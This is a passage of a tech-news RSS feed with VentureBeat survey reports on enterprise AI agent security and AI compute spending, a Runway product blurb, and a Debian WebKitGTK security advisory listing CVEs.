remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.</p><p>Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.</p><h2>Finding 1: The incidents are already here</h2><p><b>More than half have had an agent security incident or near-miss</b></p><p>We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.</p><div></div><p>This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.</p><p>Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.</p><h2>Finding 2: The identity gap</h2><p><b>Only a third give every agent its own scoped identity</b></p><p>We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.</p><div></div><p>Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) </p><p>The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.</p><p>Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.</p><h2>Finding 3: Observe and enforce, but rarely isolate</h2><p><b>Only three in 10 sandbox their highest-risk agents</b></p><p>We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.</p><div></div><p>Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.</p><h2>Finding 4: Security runs on borrowed, provider-native controls</h2><p><b>Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register</b></p><p>We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.</p><div></div><p>Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.</p><p>The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.</p><p>(<i>A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)</i></p><h2>Finding 5: And enterprises are comfortable with it</h2><p><b>Satisfaction is high, even as incidents mount and identity lags</b></p><p>We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.</p><div></div><p>Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.</p><h2>Finding 6: Budgets haven’t caught up</h2><p><b>Most spend under a tenth of the security budget on agents</b></p><p>We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.</p><div></div><p>Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.</p><h1>Finding 7: The arms race is even, at best</h1><p><b>Only a third think their AI defenses are ahead of AI-enabled attackers</b></p><p>We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.</p><div></div><p>Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.</p><h2>Finding 8: A security reshuffle is coming</h2><p><b>Nearly six in 10 plan to adopt or switch tooling within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.</p><div></div><p>The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. </p><p>Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.</p><p>The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. </p><p>What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.</p><h2>The bottom line: A security gap that autonomy will test first</h2><p>Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.</p><p>The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI compute gap: Enterprises are buying infrastructure faster than they can measure what it costs]]></title>
<description><![CDATA[Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today...]]></description>
<link>https://tsecurity.de/de/3689826/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689826/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today; a majority intend to switch or add providers within the year, many within a quarter. Buying decisions turn on integration and total cost of ownership rather than headline token price — which is fortunate, because most enterprises cannot yet see their unit economics clearly: GPUs sit at half utilization or less, and fewer than half rigorously track what their compute actually costs. The result is a compute gap — heavy, fast-moving investment running ahead of the visibility needed to control it.</p><p>This wave of VentureBeat Pulse Research examines enterprise AI infrastructure and compute: where organizations are in their deployment journey, what they run AI on today, how satisfied they are, what would make them switch, where they plan to evaluate their investments, and — most revealingly — how well they can measure and control the economics of the compute underneath it all.</p><p>The central finding is a compute gap — the distance between how aggressively enterprises are investing in AI infrastructure and how little of its economics they can see. Only about one in five (21%) run AI in production at scale, yet spending intentions are outrunning that maturity: the single largest planned area enterprises plan to evaluate over the next year is AI-specialized clouds (45%), a layer almost none of these enterprises use today. Meanwhile the compute already in place runs cold — 83% report GPU utilization of 50% or less — and fewer than half (44%) can rigorously track what their AI compute costs. Enterprises are buying more infrastructure faster than they can account for what they already own.</p><p>Enterprises are not settled on their infrastructure vendors, either: A clear majority (64%) plan to switch or add an infrastructure provider within twelve months, and 38% within the next quarter — unusually high churn intent for a category this foundational. When they choose, they choose on integration with the existing stack (41%) and total cost of ownership (35%), not on headline price: cost per million tokens is the deciding factor for just 8%. And the frontier constraint that will shape the next round of decisions — the shift from GPU compute to memory bandwidth as inference scales — is barely on the radar, with roughly one in five enterprises either unaware of it or yet to address it.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey focused on enterprise AI infrastructure, compute, and inference economics. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 101–250 employees (36%) and 251–1,000 (27%) lead, with 1,001–5,000 (22%), 5,001–10,000 (8%), and 10,001+ (7%) above them. By role it spans managers (38%), individual contributors (28%), VPs and directors (19%), and the C-suite (13%); on purchasing authority it is buyer-credible, with 45% final decision-makers and another 30% recommenders or influencers for AI solutions. Technology/Software is the largest industry at 26%, followed by Healthcare/Life Sciences (15%), Financial Services (13%), and Retail/E-commerce (12%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It also skews toward the mid-market and toward earlier-stage adopters, so it is best read as the view from organizations actively building out AI infrastructure rather than from the largest hyperscale operators.</p><h2>Finding 1: Ambition outpaces production</h2><p><b>Only one in five run AI in production at scale</b></p><p>We asked where organizations sit in their AI deployment journey. Most are still building toward production rather than operating at scale.</p><div></div><p>The maturity curve is front-loaded. Three-quarters of enterprises (76%) are either experimenting or running only some workloads in production, and just 21% describe AI in production at scale. This matters for everything that follows: the infrastructure decisions in this report are being made largely by organizations still early in deployment, whose compute footprint — and whose costs — are about to grow. The evaluation and switching intentions in Findings 3 and 4 are the leading edge of that build-out, not the settled preferences of operators who have already found what works.</p><h2>Finding 2: Enterprises run on hyperscalers and model APIs</h2><p><b>The specialized GPU clouds barely register — today</b></p><p>We asked which providers and platforms enterprises currently use to run their AI. The answer is a familiar one: the incumbents.</p><div></div><p>The current stack is hyperscaler-and-API. Google Cloud leads at 48%, and the general-purpose clouds (Google, Microsoft, AWS, Oracle) together with the major model APIs (Gemini, OpenAI, Anthropic) account for essentially all current deployment. The specialized “neocloud” GPU providers that dominate AI-infrastructure headlines — CoreWeave, Lambda, Crusoe, Nebius and peers — register at or near zero among these enterprises today. Only 6% run their own on-prem GPU clusters and 4% a custom open-source stack. Enterprises are, for now, running AI on the providers they already buy from — which makes the evaluation intentions in Finding 3 all the more striking.</p><p><i>(A note on reading these shares. As described in the methodology section, this sample is self-selected and skews mid-market, and this question counted every provider a respondent uses — an average of 2.1 selections each — so the figures measure presence in the stack rather than spending or primary status. A sample built this way will show a different provider mix than a spend-weighted census of the broader market; Google's strength here, for example, is consistent with its long-standing position among smaller enterprises building on AI. Read these shares as a portrait of what this AI-active cohort runs today, and treat gaps between these figures and industry-wide market share estimates as a property of the sample rather than a contradiction of either.)</i></p><h2>Finding 3: The next dollar goes to infrastructure they don’t yet run</h2><p><b>AI-specialized clouds top the evaluations list</b></p><p>We asked where enterprises planned to evaluate AI infrastructure over the next 12 months. Their answers point away from the stack they run today.</p><div></div><p>Here is the report’s sharpest tension. The single most-cited planned evaluation area — AI-specialized clouds, at 45% — is the very category almost none of these enterprises use today (Finding 2). Nearly a third (32%) intend to evaluate non-Nvidia accelerators, and 28% in next-generation Nvidia silicon; even decentralized compute networks (16%) and sovereign compute (11%) draw meaningful interest. Read against current usage, this is not incremental — it is the leading edge of a re-platforming. The direction-of-travel question tells the same story: every infrastructure approach is net-expanding, but specialized AI clouds carry the highest net momentum (+24), edging out even the hyperscalers (+22). Enterprises are preparing to move a meaningful share of AI compute off the general-purpose cloud.</p><p>This continues a trend we saw in our April-May survey wave. Back then, usage of the AI-specialized clouds was equally marginal — CoreWeave at 3%, Lambda at 4%, Crusoe at 2% of enterprises. When we asked enterprises what change they planned in their AI infrastructure strategy over the next twelve months, the most-cited answer was moving workloads to specialized AI clouds, at 33%. Asked in April-May which emerging compute option they were most likely to evaluate AI-specialized clouds again drew the most responses. Two waves, two differently worded questions, one consistent picture: the type of cloud enterprises are most eager to assess is the type they have barely begun to use.</p><h2>Finding 4: A switching wave is building</h2><p><b>Six in 10 plan to change providers within a year — many within a quarter</b></p><p>We asked whether and when enterprises plan to switch or add an infrastructure provider. Very few intend to stand still.</p><div></div><p>For a category as foundational as compute, this is a remarkable amount of intended movement. Only 36% have no plans to change, meaning a clear majority (64%) intend to switch or add a provider within twelve months — and 38% within the next quarter alone. Where that interest points is telling: the providers drawing the most switching consideration are again the incumbents — Microsoft Azure and Google Cloud (33% each), OpenAI (30%), and Gemini (22%) — which suggests much of the near-term movement is reshuffling among the majors and consolidating spend rather than defecting to new entrants. The neocloud interest in Finding 3 is a 12-month evaluation thesis; the switching in the next quarter is mostly incumbents trading share.</p><p>(<i>Method note: Respondents who selected both "no plans to change" and a specific switching window are counted as switchers, on the logic that naming a timeframe is the more specific answer; three respondents were reclassified under this rule.</i>)</p><h2>Finding 5: Nobody buys on token price</h2><p><b>Integration and total cost of ownership decide — not sticker price</b></p><p>We asked what matters most when enterprises select an AI infrastructure provider. Headline price finished last.</p><div></div><p>Enterprises do not buy AI infrastructure on pricing, which is the place vendors compete on hardest. Integration with the existing stack (41%) and total cost of ownership (35%) dominate, while the headline metric — cost per million tokens — is the deciding factor for just 8%, dead last. The pattern is coherent: buyers are optimizing for how a provider fits and what it truly costs to operate, not for the advertised unit rate. It also foreshadows Finding 7 — enterprises say TCO matters most, yet most cannot yet measure it rigorously. The stated priority and the measured capability are out of step.</p><h2>Finding 6: Expensive GPUs, idle most of the time</h2><p><b>83% report GPU utilization of 50% or less</b></p><p>We asked what share of their GPU capacity enterprises actually utilize. The answer is a well-known but rarely quantified inefficiency.</p><div></div><p><i>Disclosure: Band percentages count every selection against all 107 qualified respondents; 14 respondents selected more than one band, so bands overlap. At the respondent level, 83 of the 100 GPU-operating enterprises reported utilization at or below 50%</i></p><p>The compute already in place runs cold. Adding the bands at or below half capacity, 83% of enterprises that operate GPUs report utilization of 50% or less, and nearly half (49%) run at 25% or below. Only 12% clear the 50% mark, and a further 8% do not measure utilization at all. Idle accelerators are expensive accelerators, and this is the clearest single measure of the compute gap: enterprises are planning to buy more GPUs and specialized compute (Finding 3) while the capacity they already own sits substantially unused. The efficiency headroom in the current fleet is large — and largely unmeasured.</p><h2>Finding 7: Spending fast, measuring slowly</h2><p><b>Fewer than half rigorously track what their compute costs</b></p><p>We asked whether enterprises can quantify the cost and return of their AI infrastructure spend, and how satisfied they are with what they run. Confidence in the ledger lags the spending.</p><div></div><p>Measurement trails money. Fewer than half of enterprises (44%) rigorously track the cost and return of their AI compute; the majority track only partially (39%), cannot quantify it yet (20%), or have not prioritized it (6%). That gap is consequential given Finding 5, where total cost of ownership was the second-ranked buying criterion — enterprises are choosing providers on an economic basis they mostly cannot yet measure. Satisfaction with current infrastructure is moderately positive but not enthusiastic: on a five-point scale, overall satisfaction averages 4.0, with ease of implementation (3.8) and value for money (3.9) trailing slightly — the softness landing, tellingly, on cost. Enterprises are spending quickly and accounting slowly.</p><h2>Finding 8: The next bottleneck few are watching</h2><p><b>As inference shifts from compute to memory, the field scatters</b></p><p>Finally, we asked how enterprises would address the emerging constraint in large-scale inference — the shift from GPU compute to memory, specifically KV-cache capacity. The responses reveal a frontier that is not yet a priority.</p><div></div><p>The memory frontier is real but barely governed. Asked which approach they would rely on as the binding constraint in inference shifts from compute to memory bandwidth, enterprises scatter: Dell leads at 31%, Nvidia follows at 16%, and the rest fragments across storage vendors, open-source tooling, and model-level efficiency techniques. Most telling is that roughly one in five (18%) either do not recognize the constraint or have not begun to address it. For a shift that will reshape inference cost and architecture, this is an early and unsettled market — and, consistent with the measurement gap in Finding 7, one where many enterprises simply do not yet have a view. It is the next chapter of the compute gap, arriving before most have closed the current one.</p><h2>The bottom line: A compute gap that faster spending will widen, not close</h2><p>Organizations with more than 100 employees are investing in AI infrastructure faster than they can measure it. Most are still early in deployment, yet their spending intentions point past their current stack — toward specialized clouds and alternative accelerators almost none of them run today — and a clear majority intend to change providers within the year. They buy on integration and total cost of ownership rather than headline price, which is rational; the difficulty is that most cannot yet see those economics clearly.</p><p>The visibility gap is concrete. The GPUs enterprises already own run at half utilization or less for the overwhelming majority, and fewer than half can rigorously track what their compute costs or returns. Satisfaction is decent but unenthusiastic, softest on value for money — the dimension hardest to judge without measurement. And the next constraint, the shift from compute to memory in large-scale inference, is arriving while most enterprises are still unaware of it. At 107 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market and earlier-stage adopters — but the direction is consistent: the appetite to spend is running well ahead of the instrumentation to spend well. The compute gap is not a capacity problem that more hardware will solve on its own; it is, first, a problem of seeing what the hardware already costs. The open question for later waves is whether enterprises build that visibility before the re-platforming arrives — or buy the next layer of infrastructure as blind to its economics as the last.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the results read cross-sectionally rather than as a month-over-month trend, and at 107 respondents this is a directional signal rather than a precise measurement — the sample is self-selected, skews mid-market, and leans toward earlier-stage adopters rather than the largest hyperscale operators. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with buyer-credible purchasing authority, across Technology/Software, Healthcare/Life Sciences, Financial Services, Retail/E-commerce, and other industries.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Runway bets on AI model routing as generative media gets crowded]]></title>
<description><![CDATA[Runway no longer wants to be just another AI model company. It wants to become the infrastructure layer for generative media. On Thursday, the startup launched Runway Media Router through Runway Dev, its developer platform, released earlier this month, that provides API access to a growing roster...]]></description>
<link>https://tsecurity.de/de/3689810/ai-nachrichten/runway-bets-on-ai-model-routing-as-generative-media-gets-crowded/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689810/ai-nachrichten/runway-bets-on-ai-model-routing-as-generative-media-gets-crowded/</guid>
<pubDate>Thu, 23 Jul 2026 19:08:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Runway no longer wants to be just another AI model company. It wants to become the infrastructure layer for generative media. On Thursday, the startup launched Runway Media Router through Runway Dev, its developer platform, released earlier this month, that provides API access to a growing roster of third-party image, video and audio models alongside […]]]></content:encoded>
</item>
<item>
<title><![CDATA[DSA-6398-1 webkit2gtk - security update]]></title>
<description><![CDATA[The following vulnerabilities have been discovered in the WebKitGTK
web engine:

CVE-2024-4367

    Thomas Rinsma discovered that a type check was missing when
    handling fonts in PDF.js, which would allow arbitrary JavaScript
    execution in the PDF.js context.

CVE-2026-28847

    DARKNAVY, ...]]></description>
<link>https://tsecurity.de/de/3689735/unix-server/dsa-6398-1-webkit2gtk-security-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689735/unix-server/dsa-6398-1-webkit2gtk-security-update/</guid>
<pubDate>Thu, 23 Jul 2026 18:51:47 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The following vulnerabilities have been discovered in the WebKitGTK
web engine:
<p>
CVE-2024-4367
</p><p>
    Thomas Rinsma discovered that a type check was missing when
    handling fonts in PDF.js, which would allow arbitrary JavaScript
    execution in the PDF.js context.
</p><p>
CVE-2026-28847
</p><p>
    DARKNAVY, an anonymous researcher and Daniel Rhea discovered that
    processing maliciously crafted web content may lead to an
    unexpected process crash.
</p><p>
CVE-2026-28883
</p><p>
    Kwak Kiyong discovered that processing maliciously crafted web
    content may lead to an unexpected process crash.
</p><p>
CVE-2026-28901
</p><p>
    Joshua Rogers, Luigino Camastra, Igor Morgenstern, Guido Vranken,
    Maher Azzouzi and Ngan Nguyen discovered that processing
    maliciously crafted web content may lead to an unexpected process
    crash.
</p><p>
CVE-2026-28902
</p><p>
    Tristan Madani and Nathaniel Oh discovered that processing
    maliciously crafted web content may lead to an unexpected process
    crash.
</p><p>
CVE-2026-28903
</p><p>
    Mateusz Krzywicki discovered that processing maliciously crafted
    web content may lead to an unexpected process crash.
</p><p>
CVE-2026-28904
</p><p>
    Luka Racki discovered that processing maliciously crafted web
    content may lead to an unexpected process crash.
</p><p>
CVE-2026-28905
</p><p>
    Yuhao Hu, Yuanming Lai, Chenggang Wu, and Zhe Wang discovered that
    processing maliciously crafted web content may lead to an
    unexpected process crash.
</p><p>
CVE-2026-28907
</p><p>
    Cantina discovered that processing maliciously crafted web content
    may prevent Content Security Policy from being enforced.
</p><p>
CVE-2026-28942
</p><p>
    Milad Nasr and Nicholas Carlini discovered that processing
    maliciously crafted web content may lead to an unexpected Safari
    crash.
</p><p>
CVE-2026-28946
</p><p>
    Gia Bui, dr3dd, and w0wbox discovered that processing maliciously
    crafted web content may lead to an unexpected Safari crash.
</p><p>
CVE-2026-28947
</p><p>
    dr3dd discovered that processing maliciously crafted web content
    may lead to an unexpected Safari crash.
</p><p>
CVE-2026-28953
</p><p>
    Maher Azzouzi discovered that processing maliciously crafted web
    content may lead to an unexpected process crash.
</p><p>
CVE-2026-28955
</p><p>
    wac and Kookhwan Lee discovered that processing maliciously
    crafted web content may lead to an unexpected process crash.
</p><p>
CVE-2026-28958
</p><p>
    Cantina discovered that an app may be able to access sensitive
    user data.
</p><p>
CVE-2026-39872
</p><p>
    Utkarsh Pal and Ignacio Sanmillan discovered that processing
    maliciously crafted web content may lead to an unexpected process
    crash.
</p><p>
CVE-2026-43658
</p><p>
    Do Young Park discovered that processing maliciously crafted web
    content may lead to an unexpected Safari crash.
</p><p>
CVE-2026-43660
</p><p>
    Cantina discovered that processing maliciously crafted web content
    may prevent Content Security Policy from being enforced.
</p><p>
CVE-2026-43663
</p><p>
    Soyeon Park, Amy Burnett, Khai Tran, sherkito, Kota Toda,
    HexRabbit, NiNi, Tristan Madani and Brian Carpenter discovered
    that processing maliciously crafted web content may lead to an
    unexpected process crash.
</p><p>
CVE-2026-43676
</p><p>
    Mateusz Krzywicki, dr3dd, and Tommy DeVoss discovered that
    processing maliciously crafted web content may lead to an
    unexpected process crash.
</p><p>
CVE-2026-43699
</p><p>
    Tommy DeVoss discovered that processing maliciously crafted web
    content may lead to an unexpected process crash.
</p><p>
CVE-2026-43701
</p><p>
    Aaron Grattafiori discovered that a malicious website may be able
    to process restricted web content outside the sandbox.
</p><p>
CVE-2026-43705
</p><p>
    dr3dd discovered that processing maliciously crafted web content
    may lead to memory corruption.
</p><p>
CVE-2026-43707
</p><p>
    Amy Burnett discovered that processing maliciously crafted web
    content may lead to an unexpected process crash.
</p><p>
CVE-2026-43712
</p><p>
    Kwak Kiyong, Song Nuri, and Tristan Madani discovered that
    processing maliciously crafted web content may lead to an
    unexpected process crash.
</p><p>
CVE-2026-43713
</p><p>
    Jody Ritonga discovered that visiting a website may leak sensitive
    data.
</p><p>
CVE-2026-43715
</p><p>
    Milad Nasr and Nicholas Carlini discovered that processing
    maliciously crafted web content may lead to memory corruption.
</p><p>
CVE-2026-43716
</p><p>
    Tuan, Duc, Amy Burnett and Evan Lambert discovered that processing
    maliciously crafted web content may lead to an unexpected process
    crash.
</p><p>
CVE-2026-43720
</p><p>
    Gia Bui and Josef Korbel discovered that processing maliciously
    crafted web content may lead to an unexpected process crash.
</p><p>
CVE-2026-43721
</p><p>
    Idan Masas discovered that a malicious website may be able to
    silently hijack clipboard data.
</p><p>
CVE-2026-43725
</p><p>
    Luke Francis discovered that a malicious website may be able to
    process restricted web content outside the sandbox.
</p><p>
CVE-2026-43726
</p><p>
    Josef Korbel, Tristan Madani, Gia Bui and Narendra Singh
    discovered that processing maliciously crafted web content may
    lead to an unexpected process crash.
</p><p>
CVE-2026-43727
</p><p>
    Tommy DeVoss, Gia Bui and Gurpreet Shergill discovered that
    processing maliciously crafted web content may lead to an
    unexpected process crash.
</p><p>
CVE-2026-43731
</p><p>
    dr3dd discovered that processing maliciously crafted web content
    may lead to memory corruption.
</p><p>
CVE-2026-43732
</p><p>
    Nan Wang discovered that processing maliciously crafted web
    content may disclose sensitive user information.
</p><p>
CVE-2026-43734
</p><p>
    Jonathan Alush-Aben discovered that processing maliciously crafted
    web content may lead to an unexpected process crash.
</p><p>
CVE-2026-43740
</p><p>
    Nathaniel Oh and Arni Hardarson discovered that processing
    maliciously crafted web content may result in the disclosure of
    process memory.
</p><p>
CVE-2026-43742
</p><p>
    Yulia Mertsalova discovered that processing maliciously crafted
    web content may lead to an unexpected process crash.
</p><p>
CVE-2026-43745
</p><p>
    Amy Burnett and Khai Tran discovered that processing maliciously
    crafted web content may lead to an unexpected process crash.

</p><p>
<a href="https://security-tracker.debian.org/tracker/DSA-6398-1">https://security-tracker.debian.org/tracker/DSA-6398-1</a></p>]]></content:encoded>
</item>
<item>
